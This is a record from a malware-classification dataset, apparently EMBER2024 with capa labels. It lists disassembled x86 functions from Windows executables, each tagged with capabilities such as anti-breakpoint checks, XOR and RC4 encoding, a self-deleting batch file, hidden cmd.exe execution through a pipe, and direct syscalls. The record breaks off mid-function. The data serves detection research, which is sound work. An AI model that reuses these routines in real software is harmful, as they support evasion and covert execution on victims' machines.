joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402400
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
cmp byte [edi], 0x22
jne 0x40244c
inc edi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0xf], al
jmp 0x40246d
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4025a0
test al, 0x10
je 0x4024f0
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0xf], 0x5c
je 0x4024c8
mov edi, 0x405410
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x11c]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00401b90
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
lea ebp, [esp + 0x10]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
sub ebp, 4
mov esi, str..exe
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebp
mov dl, byte [ecx]
mov bl, byte [esi]
mov al, dl
cmp dl, bl
jne 0x402534
test al, al
je 0x402530
mov dl, byte [ecx + 1]
mov bl, byte [esi + 1]
mov al, dl
cmp dl, bl
jne 0x402534
add ecx, 2
add esi, 2
test al, al
jne 0x40250c
xor eax, eax
jmp 0x402539
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402583
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov esi, str..EXE
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebp
mov dl, byte [ecx]
mov bl, byte [esi]
mov al, dl
cmp dl, bl
jne 0x40257a
test al, al
je 0x402576
mov dl, byte [ecx + 1]
mov bl, byte [esi + 1]
mov al, dl
cmp dl, bl
jne 0x40257a
add ecx, 2
add esi, 2
test al, al
jne 0x402552
xor eax, eax
jmp 0x40257f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4025a0
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x11c]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.004018c0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret

Function at 0x4025b0
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
cmp byte [ecx + 0xc7], 0xef
je 0x4025d0
xor eax, eax
mov dl, byte [eax + ecx]
xor dl, 0xef
mov byte [eax + ecx], dl
inc eax
cmp eax, 0xcc
jb 0x4025bf
ret
Function at 0x4025e0
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
cmp byte [ecx + 0xc7], 0xef
jne 0x402600
xor eax, eax
mov dl, byte [eax + ecx]
xor dl, 0xef
mov byte [eax + ecx], dl
inc eax
cmp eax, 0xcc
jb 0x4025ef
ret

Function at 0x402610
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
mov eax, dword [ebx + 0xc8]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
jne 0x40262e
pop esi
pop ebx
ret
mov ecx, dword [ebx + 0xc8]
push edi
mov edx, ecx
xor eax, eax
mov edi, esi
push esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebx + 0xc8]
lea ecx, [ebx + 0xcc]
push eax
push ecx
call fcn.00402dc0
mov edx, dword [esp + 0x1c]
push 0x40531c
push edx
call sub.MSVCRT.dll_fopen
mov edi, eax
add esp, 0x14
test edi, edi
je 0x40268c
mov eax, dword [ebx + 0xc8]
push edi
push eax
push 1
push esi
call sub.MSVCRT.dll_fwrite
push edi
call sub.MSVCRT.dll_fclose
add esp, 0x14
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
test edi, edi
pop edi
pop esi
setne al
pop ebx
ret
Function at 0x4026a0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x14]
push ebx
push ebp
push esi
mov eax, dword [ecx + 0x3c]
xor edx, edx
add eax, ecx
push edi
xor edi, edi
xor ebp, ebp
mov dx, word [eax + 0x14]
mov di, word [eax + 6]
test edi, edi
lea edx, [edx + eax + 0x18]
mov dword [esp + 0x10], edx
jle 0x40270e
mov esi, str..rsrc
mov eax, edx
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [esi]
jne 0x4026f5
test cl, cl
je 0x4026f1
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [esi + 1]
jne 0x4026f5
add eax, 2
add esi, 2
test cl, cl
jne 0x4026d1
xor eax, eax
jmp 0x4026fa
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402706
inc ebp
add edx, 0x28
cmp ebp, edi
jl 0x4026ca
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x10], edx
cmp ebp, edi
je 0x402804
mov esi, dword [edx + 0x14]
xor eax, eax
add esi, ecx
xor edx, edx
mov dword [esp + 0x18], 0
mov ax, word [esi + 0xe]
mov dx, word [esi + 0xc]
add eax, edx
lea ecx, [esi + 0x10]
test eax, eax
mov dword [esp + 0x1c], ecx
jle 0x402804
mov eax, dword [ecx]
cmp eax, 3
je 0x402750
cmp eax, 0xe
jne 0x4027de
mov ebx, dword [ecx + 4]
xor eax, eax
and ebx, 0x7fffffff
xor edx, edx
add ebx, esi
mov dword [esp + 0x14], 0
mov ax, word [ebx + 0xe]
mov dx, word [ebx + 0xc]
add eax, edx
test eax, eax
jle 0x4027de
lea eax, [ebx + 0x14]
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x24]
mov eax, dword [ecx]
test eax, 0x80000000
jbe 0x4027b4
mov ebp, dword [esp + 0x10]
and eax, 0x7fffffff
mov edi, esi
mov edx, dword [eax + esi + 0x14]
sub edi, dword [ebp + 0xc]
add edx, esi
xor eax, eax
mov ecx, dword [edx + 4]
mov ebp, dword [edx]
mov edx, ecx
add edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0x24]
xor ecx, ecx
xor edx, edx
mov cx, word [ebx + 0xe]
mov dx, word [ebx + 0xc]
inc eax
add ecx, edx
add ebp, 8
cmp eax, ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], ebp
jl 0x40277c
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
xor edx, edx
mov dx, word [esi + 0xe]
xor edi, edi
mov di, word [esi + 0xc]
inc eax
add edx, edi
add ecx, 8
cmp eax, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
jl 0x402740
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x10
ret
Function at 0x402df0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x100
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + eax + 0x10], al
inc eax
cmp eax, 0x100
jb 0x402e11
mov edi, dword [esp + 0x120]
mov ebp, dword [esp + 0x11c]
xor ecx, ecx
xor esi, esi
mov eax, ecx
xor edx, edx
div edi
mov bl, byte [esp + ecx + 0x10]
add esi, ebx
mov al, byte [edx + ebp]
add eax, esi
and eax, 0xff
inc ecx
mov esi, eax
cmp ecx, 0x100
mov dl, byte [esp + esi + 0x10]
mov byte [esp + ecx + 0xf], dl
mov byte [esp + esi + 0x10], bl
jb 0x402e2f
mov edx, dword [esp + 0x118]
xor esi, esi
xor edi, edi
test edx, edx
jbe 0x402eb9
mov ecx, dword [esp + 0x124]
mov ebp, dword [esp + 0x114]
sub ebp, ecx
inc esi
and esi, 0xff
mov al, byte [esp + esi + 0x10]
mov bl, al
add ebx, edi
and ebx, 0xff
mov edi, ebx
mov bl, byte [esp + edi + 0x10]
mov byte [esp + esi + 0x10], bl
mov byte [esp + edi + 0x10], al
mov bl, byte [esp + esi + 0x10]
add ebx, eax
and ebx, 0xff
mov al, byte [esp + ebx + 0x10]
mov bl, byte [ecx + ebp]
xor al, bl
mov byte [ecx], al
inc ecx
dec edx
jne 0x402e7b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100
ret

Function at 0x402ed0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0x405318
push eax
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 8
test esi, esi
jne 0x402eeb
pop esi
ret
push ebx
push edi
push 2
push 0
push esi
call sub.MSVCRT.dll_fseek
push esi
call sub.MSVCRT.dll_ftell
mov ebx, dword [esp + 0x24]
push esi
mov dword [ebx], eax
call sub.MSVCRT.dll_rewind
mov ecx, dword [ebx]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 0x18
test edi, edi
je 0x402f29
mov edx, dword [ebx]
push esi
push edx
push 1
push edi
call sub.MSVCRT.dll_fread
add esp, 0x10
push esi
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x402f40
Capabilities:
Create process on windows
Self delete

Disassembly:
sub esp, 0x104
push esi
call fcn.004031c0
push eax
lea eax, [esp + 8]
push str._stttdelzzz.bat
push eax
call sub.MSVCRT.dll_sprintf
lea ecx, [esp + 0x10]
push 0x4053e0
push ecx
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x402f7c
pop esi
add esp, 0x104
ret
push edi
push str._echo_off_r_n
push esi
call sub.MSVCRT.dll_fprintf
push str.:start_r_n
push esi
call sub.MSVCRT.dll_fprintf
mov edi, dword [esp + 0x120]
push edi
push str.if_not_exist___s__goto_done_r_n
push esi
call sub.MSVCRT.dll_fprintf
push edi
push str.del___s___Q_r_n
push esi
call sub.MSVCRT.dll_fprintf
push str.goto_start_r_n
push esi
call sub.MSVCRT.dll_fprintf
push str.:done_r_n
push esi
call sub.MSVCRT.dll_fprintf
lea edx, [esp + 0x40]
push edx
push str.del___s___Q_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 0x44
push esi
call sub.MSVCRT.dll_fclose
add esp, 4
lea eax, [esp + 8]
push 0
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
cmp eax, 0x20
setg cl
pop edi
mov eax, ecx
pop esi
add esp, 0x104
ret
Function at 0x403010
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Get common file path
Read file on windows

Disassembly:
sub esp, 0xc6c
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x7d]
mov byte [esp + 0x7c], bl
mov byte [esp + 0x47c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x47d]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], 0xc
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x403091
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc6c
ret
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x7c]
push 0x400
push ecx
mov dword [esp + 0x70], eax
mov dword [esp + 0x6c], eax
mov word [esp + 0x60], bx
mov dword [esp + 0x5c], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.cmd.exe__c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x7c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0xc80]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x6c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x80]
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40315a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc6c
ret
mov eax, dword [esp + 0x14]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x40316b
push eax
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebx
push eax
lea ecx, [esp + 0x484]
push 0x800
push ecx
push edx
call esi
test eax, eax
je 0x40319b
push 0x64
call edi
jmp 0x403177
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x4031a6
push eax
call ebp
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0xc6c
ret
Function at 0x4031c0
Capabilities:
Get common file path

Disassembly:
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x4054b4
push 0x400
rep stosd dword es:[edi], eax
push 0x4054b4
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x40320f
mov edi, str.c:windows_temp_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x4054b4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x4054b4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
mov edi, 0x4054b4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + 0x4054b3], 0x5c
jne 0x40323b
mov edi, 0x4054b4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov byte [ecx + 0x4054b2], al
push 0x5c
push 0x4054b4
call sub.MSVCRT.dll_strrchr
add esp, 8
test eax, eax
jne 0x403279
mov edi, str.c:windows_temp_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, 0x4054b4
mov edx, ecx
mov esi, edi
mov edi, 0x4054b4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
lea edx, [eax + 1]
mov edi, str.temp_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x4054b4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret

Function at 0x4032b0
Capabilities:
Get common file path

Disassembly:
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x4058b4
push 0x400
rep stosd dword es:[edi], eax
push 0x4058b4
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x4032ff
mov edi, str.c:windows_system32_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x4058b4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x4058b4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
mov edi, 0x4058b4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + 0x4058b3], 0x5c
je 0x403344
mov edi, 0x405410
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x4058b4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, 0x4058b4
pop esi
ret
Function at 0x403350
Capabilities:
Get common file path

Disassembly:
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x405cb4
push 0x400
rep stosd dword es:[edi], eax
push 0x405cb4
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x40339f
mov edi, str.c:windowsdebug_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x405cb4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x405cb4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
mov edi, 0x405cb4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + 0x405cb3], 0x5c
jne 0x4033cb
mov edi, 0x405cb4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov byte [ecx + 0x405cb2], al
push 0x5c
push 0x405cb4
call sub.MSVCRT.dll_strrchr
add esp, 8
test eax, eax
jne 0x403409
mov edi, str.c:windowsdebug_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, 0x405cb4
mov edx, ecx
mov esi, edi
mov edi, 0x405cb4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
lea edx, [eax + 1]
mov edi, str.debug_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x405cb4
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
Function at 0x10005d2d
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jge 0x10005d4f
mov eax, 0xfffffffd
jmp 0x10005e2c
mov ebx, dword [0x108853c0]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
je 0x10005dfa
mov ebx, dword [0x108853c0]
add ebx, 4
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 6
jne 0x10005d9e
mov ebx, dword [0x108853c0]
add ebx, 8
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 0xc]
cmp dword [ebx], 2
jne 0x10005d9e
mov eax, 1
jmp 0x10005da0
xor eax, eax
test eax, eax
je 0x10005dcc
mov eax, dword [ebp]
add eax, 0x80
mov ecx, 0x20
push dword [eax]
sub eax, 4
loop 0x10005db5
mov eax, dword [ebp + 8]
call dword fs:[0xc0]
nop
nop
leave
ret 4
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0xffff
shr ecx, 0x10
and ecx, 0xffff
mov edx, dword [ebp]
lea edx, [edx + 8]
call dword fs:[0xc0]
nop
nop
nop
nop
nop
leave
ret 4
mov ebx, dword [0x108853c0]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
jne 0x10005e22
mov eax, dword [ebp + 8]
mov edx, dword [ebp]
lea edx, [edx + 8]
int 0x2e
nop
leave
ret 4
mov eax, 0
jmp 0x10005e2c
mov esp, ebp
pop ebp
ret 4

Function at 0x10006033
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp + 8], 0x100060e6
mov eax, dword [ebp + 8]
leave
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]

Function at 0x10006b17
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.10006033
test eax, eax
je 0x10006b5a
xor eax, eax
xchg dword [ebp + 8], eax
cmp eax, 0xffff
jle 0x10006b5a
cmp word [eax], 0x5a4d
jne 0x10006b5a
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
jne 0x10006b5a
mov dword [ebp + 8], eax
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.10006105
mov eax, dword [ebp + 8]
jmp 0x10006b73
mov esp, ebp
pop ebp
ret 4
Function at 0x100b7bd9
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push ebx
xor eax, eax
mov ebx, dword fs:[0x18]
mov ecx, dword fs:[0x30]
test ecx, ecx
jns 0x100b7c11
mov ecx, 0x530000
cmp dword [ebx + 0x58], ecx
jne 0x100b7bff
mov al, 1
jmp 0x100b7c62
cmp dword [ebx + 0x54], ecx
jne 0x100b7c08
mov al, 2
jmp 0x100b7c62
cmp dword [ebx + 0x7c], ecx
jne 0x100b7c62
mov al, 3
jmp 0x100b7c62
mov ebx, dword [ecx + 0xa8]
mov ecx, dword [ecx + 0xa4]
cmp ecx, 4
ja 0x100b7c26
mov al, 4
jmp 0x100b7c62
cmp ecx, 5
jne 0x100b7c46
cmp ebx, 0
jne 0x100b7c34
mov al, 5
jmp 0x100b7c62
cmp ebx, 1
jne 0x100b7c3d
mov al, 6
jmp 0x100b7c62
cmp ebx, 2
jne 0x100b7c46
mov al, 7
jmp 0x100b7c62
cmp ecx, 6
jne 0x100b7c52
cmp ebx, 0
jne 0x100b7c54
mov al, 8
jmp 0x100b7c62
cmp ebx, 1
jne 0x100b7c5b
mov al, 9
cmp ebx, 2
jne 0x100b7c62
mov al, 0xa
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1011aa50
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10189490
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.1017e888
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.10121a00
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x1011aaa4
jmp dword [ecx*4 + 0x1011ac0c]
mov al, byte [esi]
test al, al
je 0x1011aad2
cmp al, 0x20
je 0x1011aabe
cmp al, 0xa1
jne 0x1011aad2
cmp byte [esi + 1], al
jne 0x1011aad2
test al, 0x80
je 0x1011aaca
mov al, byte [esi + 1]
inc esi
test al, al
je 0x1011aad2
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1011aab1
test ecx, ecx
je case.default.0x1011aaa4
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x1011aaa4
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x1011ab18
cmp dl, 0xa1
jne 0x1011ab0c
cmp byte [eax + 1], 0xa1
jne 0x1011ab0c
test ecx, ecx
jne 0x1011ab04
mov edi, eax
mov ecx, 1
inc eax
jmp 0x1011ab2c
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x1011ab46
jmp 0x1011ab2c
cmp dl, 0x20
jne 0x1011ab2a
test ecx, ecx
jne 0x1011ab23
mov edi, eax
mov ecx, 1
jmp 0x1011ab2c
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x1011aaec
cmp ecx, 1
jne case.default.0x1011aaa4
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1011aaa4
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1011aaa4
mov al, byte [esi]
test al, al
je 0x1011ab9e
test al, 0x80
mov byte [esp + 0x3c], al
je 0x1011ab84
mov cl, byte [esi + 1]
test cl, cl
je 0x1011ab9e
cmp al, 0xa1
jne 0x1011ab74
cmp cl, al
je 0x1011ab81
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.10121cd0
inc esi
jmp 0x1011ab96
cmp al, 0x20
je 0x1011ab96
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.10121d10
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1011ab5d
push 0
lea ecx, [esp + 0x14]
call fcn.10121d10
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10132dc0
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x1011abd1
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x10865ff0
call fcn.10121c00
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.1017e81a
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x1011c8a0
Capabilities:
Get disk size

Disassembly:
sub esp, 0x1c
push esi
push edi
mov edi, 0x10877230
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x34]
push ecx
call fcn.1011c860
add esp, 8
mov byte [esp + 8], al
or esi, 0xffffffff
push str.GetDiskFreeSpaceExA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1011c94a
lea edx, [esp + 0xc]
lea ecx, [esp + 0x1c]
push edx
push ecx
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x10]
push edx
push ecx
call eax
test eax, eax
je 0x1011c9ab
mov eax, dword [esp + 0x34]
test eax, eax
jne 0x1011c92c
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
jmp 0x1011c934
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ecx, 0xa
call fcn.1016f9f0
mov edx, dword [esp + 0x28]
pop edi
pop esi
mov dword [edx], eax
add esp, 0x1c
ret
lea eax, [esp + 0x30]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x1011c99f
mov eax, dword [esp + 0x34]
test eax, eax
mov eax, dword [esp + 0x30]
je 0x1011c97d
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
push 0x400
imul edx, dword [esp + 0x20]
push eax
push edx
